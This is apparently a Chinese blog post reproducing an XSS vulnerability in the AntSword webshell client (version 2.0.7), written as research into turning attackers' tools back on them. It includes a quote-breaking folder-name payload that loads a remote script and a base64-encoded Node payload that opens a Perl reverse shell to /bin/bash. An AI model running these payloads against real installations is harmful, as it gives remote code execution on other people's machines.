针对工具反制的措施尝试(漏洞复现)第二部分

其次是蚁剑,版本为2.0.7

加载器版本为2.0.1(目前较新的是4.0.3,无法加载2.1.0以前版本)

针对工具反制的措施尝试(漏洞复现)第二部分

Xss的点在报错信息处,当连接错误时,报错信息回弹并且使用html的格式解析,并且此处没有进行内容过滤,导致了xss漏洞。

当然本身antSword有内置的过滤xss的函数,noxss

 

const antSword = window.antSword = {
  /**
   * XSS过滤函数
   * @param  {String}  html 过滤前字符串
   * @param  {Boolean} wrap 是否过滤换行
   * @return {String}       过滤后的字符串
   */
  noxss: (html = ‘‘, wrap = true) => {
    let _html = String(html)
      .replace(/&/g, "&")
      .replace(/>/g, ">")
      .replace(/</g, "&lt;")
      .replace(/"/g, "&quot;");
    if (wrap) {
      _html = _html.replace(/\n/g, ‘<br/>‘);
    }
    return _html;
  },

 

这也是第一次补丁的修补方式,调用了noxss进行内容过滤。

显然,过滤时没有考虑单引号与问号,可以用于过滤绕过。

查资料时候看到了师傅找到的利用单引号进行闭合的点,进行了一次函数拼接,导致了xss问题。

 

this.obj.innerHTML = "<input class=‘dhxtoolbar_input‘ type=‘text‘ style=‘width:"+this.obj.w+"px;‘"+(data.value!=null?" value=‘"+data.value+"‘":"")+">";

 

对文件夹读取时候产生的xss。

所以攻击方式就是将我们的文件路径名称改为payload。

又由于文件名限制,此处改为$.getScript引入外部脚本,从而实现较大的payload攻击。

 

‘autofocus onfocus=$.getScript(unescape(‘http%3A%2f%2fxxx.in%2f2Yuo%0A‘));‘

 

师傅还用了自动触发实现0check,学到了!

两个最终的攻击payload相同。

 

eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())

 

base64解码:

require(‘child_process‘).exec(‘perl -e ‘use 
Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};‘‘,(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });

 最终antSword作者的解决方式为,禁止了使用html格式的解析。

 

针对工具反制的措施尝试(漏洞复现)第二部分

上一篇:mybatis-plus学习


下一篇:主机ping不通虚拟机,但是虚拟机可以ping通主机且可上网的解决方法